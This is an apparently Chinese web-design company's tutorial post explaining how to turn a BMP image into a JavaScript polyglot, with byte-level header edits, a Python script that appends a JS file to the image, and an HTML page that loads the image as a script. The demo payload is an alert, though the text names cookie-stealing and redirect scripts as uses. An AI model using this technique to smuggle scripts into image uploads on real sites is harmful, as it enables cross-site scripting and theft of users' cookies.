精品国产免费观看久久久_久久天天躁狠狠躁夜夜爽_无码人妻少妇久久中文字幕_狠狠做深爱婷婷久久综合一区

網(wǎng)絡(luò)建站知識(shí)

精準(zhǔn)傳達(dá) ? 價(jià)值共享

洞悉互聯(lián)網(wǎng)前沿資訊，探尋網(wǎng)站營(yíng)銷(xiāo)規(guī)律

圖片文件黑客攻擊原理

作者：狐靈科技 | 2020-01-12 17:30 |點(diǎn)擊：

這里以位圖 BMP 為例演示圖片文件黑客攻擊的原理及實(shí)現(xiàn)。

 

創(chuàng)建位圖

創(chuàng)建或者隨便找一個(gè)位圖，使用編輯器（本文使用 UltraEdit 作為編輯查看工具）打開(kāi)，可看到 16進(jìn)制數(shù)。

BMP 格式中，前 2 字節(jié)是用于識(shí)別位圖文件格式的字段，可以看到它對(duì)應(yīng) ASCII 碼的 BM，只要該字段正確，圖片文件就能被正確識(shí)別處理，而無(wú)論其余數(shù)據(jù)是否損壞。隨后 4 字節(jié)用于指示文件大小，單位為字節(jié)。

靈夢(mèng).bmp

靈夢(mèng).bmp

 

 

插入腳本

在此基礎(chǔ)上，我們就可以對(duì)圖片動(dòng)一些手腳了，我們可以在圖片中插入一段 JS 腳本。

比如獲取該網(wǎng)頁(yè)cookie的腳本或者重定向到目標(biāo)網(wǎng)站的腳本。這里我們僅作效果演示，所以用了彈框：

window.onload = alert("Image hacked!");
 
JavaScript

然后我們將腳本插入到圖片中，具體步驟如下：

  1. 將2A 2F（即 JS 多行注釋中*/的十六進(jìn)制碼）替換為00 00，防止語(yǔ)法錯(cuò)誤干擾腳本運(yùn)行
  2. 在圖片的前兩個(gè)字節(jié)后插入2F 2A（ JS 多行注釋中/*的十六進(jìn)制碼）
  3. 在圖片末尾插入FF 2A 2F 3D 31 3B（即*/=1;），其中=1;用于結(jié)束開(kāi)頭的BM。
  4. 在圖片最后插入你寫(xiě)好的腳本的十六進(jìn)制碼。

 

2
2
2
4
4
4

 

以上操作可以通過(guò) Python 腳本簡(jiǎn)單實(shí)現(xiàn)：

# -*- coding:utf-8 -*-

src_img_name = '靈夢(mèng).bmp'
rst_img_name = 'hackimg.bmp'
append_js_name = 'cookies.js'

with open(src_img_name,'rb') as f:
    buff = f.read()
    buff = buff.replace(b'\x2A\x2F',b'\x00\x00')

with open(rst_img_name,'wb') as f:
    f.write(buff)
    f.seek(2)
    f.write(b'\x2F\x2A')
    f.seek(0,2)
    f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
    f.write(open(append_js_name,'rb').read())
 
Python

最后我們得到插入了惡意代碼的位圖文件：
hackimg.bmp

hackimg.bmp

 

 

瀏覽器運(yùn)行

創(chuàng)建index.html文件，內(nèi)容如下：

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>圖片黑客攻擊</title>
</head>
<body>
    <img src="hackimg.bmp" alt="博麗靈夢(mèng)"><!-- 這里我們看到圖片還能正常顯示 -->
    <script src="hackimg.bmp"></script><!-- 腳本也成功執(zhí)行了 -->
</body>
</html>
 
HTML

運(yùn)行效果如下：
15778547433291.png

15778547433291.png

 

其他圖片格式也可以通過(guò)類(lèi)似的操作實(shí)現(xiàn)。

 
如沒(méi)特殊注明，文章均為狐靈科技原創(chuàng),轉(zhuǎn)載請(qǐng)注明?? "圖片文件黑客攻擊原理
相關(guān)推薦
多一份免費(fèi)策劃方案，總有益處。

請(qǐng)直接添加技術(shù)總監(jiān)微信聯(lián)系咨詢(xún)

網(wǎng)站設(shè)計(jì) 品牌營(yíng)銷(xiāo)

多一份參考，總有益處

聯(lián)系狐靈科技，免費(fèi)獲得專(zhuān)屬《策劃方案》及報(bào)價(jià)

咨詢(xún)相關(guān)問(wèn)題或預(yù)約面談，可以通過(guò)以下方式與我們聯(lián)系

業(yè)務(wù)熱線(xiàn)：15082661954 / 大客戶(hù)專(zhuān)線(xiàn)：15523356218

關(guān)于狐靈科技

+

狐靈致力于互聯(lián)網(wǎng)品牌建設(shè)與網(wǎng)絡(luò)營(yíng)銷(xiāo)，專(zhuān)業(yè)領(lǐng)域包括 網(wǎng)站建設(shè)、 SEO優(yōu)化、移動(dòng)互聯(lián)網(wǎng)營(yíng)銷(xiāo)、高端網(wǎng)站建設(shè)、高端網(wǎng)站設(shè)計(jì)、品牌網(wǎng)站定制開(kāi)發(fā)、營(yíng)銷(xiāo)策劃推廣電子商務(wù)、移動(dòng)互聯(lián)網(wǎng)營(yíng)銷(xiāo)、 為不同類(lèi)型的客戶(hù)提供良好的互聯(lián)網(wǎng)應(yīng)用定制解決方案，我們將策略和執(zhí)行緊密結(jié)合，且不斷評(píng)估并優(yōu)化我們的方案，為客戶(hù)提供一體化全方位的互聯(lián)網(wǎng)品牌整合方案！

我們的優(yōu)勢(shì)

量身打造個(gè)性化網(wǎng)站制作

代碼深度符合SEO優(yōu)化

一站式企業(yè)網(wǎng)站建設(shè)服務(wù)

前沿視覺(jué)設(shè)計(jì)、研發(fā)能力

重慶網(wǎng)站建設(shè)公司

多項(xiàng)網(wǎng)站設(shè)計(jì)傳播大獎(jiǎng)

營(yíng)銷(xiāo)型網(wǎng)站建設(shè)專(zhuān)家

自主研發(fā)網(wǎng)站管理系統(tǒng)

B2C電商網(wǎng)站建設(shè)供應(yīng)商

完善的售后服務(wù)體系

我們的不同

+

在我們的對(duì)手消耗大量的時(shí)間停留在碎片化的互聯(lián)網(wǎng)設(shè)計(jì)或者程序?qū)崿F(xiàn)的時(shí)候，我們已經(jīng)開(kāi)始把數(shù)字化品牌建設(shè)和網(wǎng)絡(luò)傳播進(jìn)行了整合。我們提供從前期的網(wǎng)站品牌分析策劃、網(wǎng)站設(shè)計(jì)、創(chuàng)意表現(xiàn)、系統(tǒng)開(kāi)發(fā)以及后續(xù)網(wǎng)站運(yùn)營(yíng)反饋建議等一系列服務(wù)，幫助企業(yè)打造創(chuàng)新的互聯(lián)網(wǎng)品牌經(jīng)營(yíng)模式與有效的網(wǎng)絡(luò)營(yíng)銷(xiāo)方法,為所有謀求長(zhǎng)遠(yuǎn)發(fā)展的企業(yè)品牌貢獻(xiàn)全力！

公司地址：重慶市九龍坡楊家坪重百大樓21-8 | 業(yè)務(wù)熱線(xiàn)：15082661954

Copyright © 2017-2020 Fox spirit Network. 狐靈科技 版權(quán)所有 | 渝ICP備19005721號(hào)-1

專(zhuān)業(yè)團(tuán)隊(duì)為您提供 重慶網(wǎng)頁(yè)設(shè)計(jì), 品牌網(wǎng)站設(shè)計(jì),營(yíng)銷(xiāo)型網(wǎng)站制作,SEO優(yōu)化關(guān)鍵詞排名推廣等服務(wù),建網(wǎng)站就找狐靈科技！ | TAG標(biāo)簽 | 網(wǎng)站建設(shè)地圖 | 網(wǎng)站地圖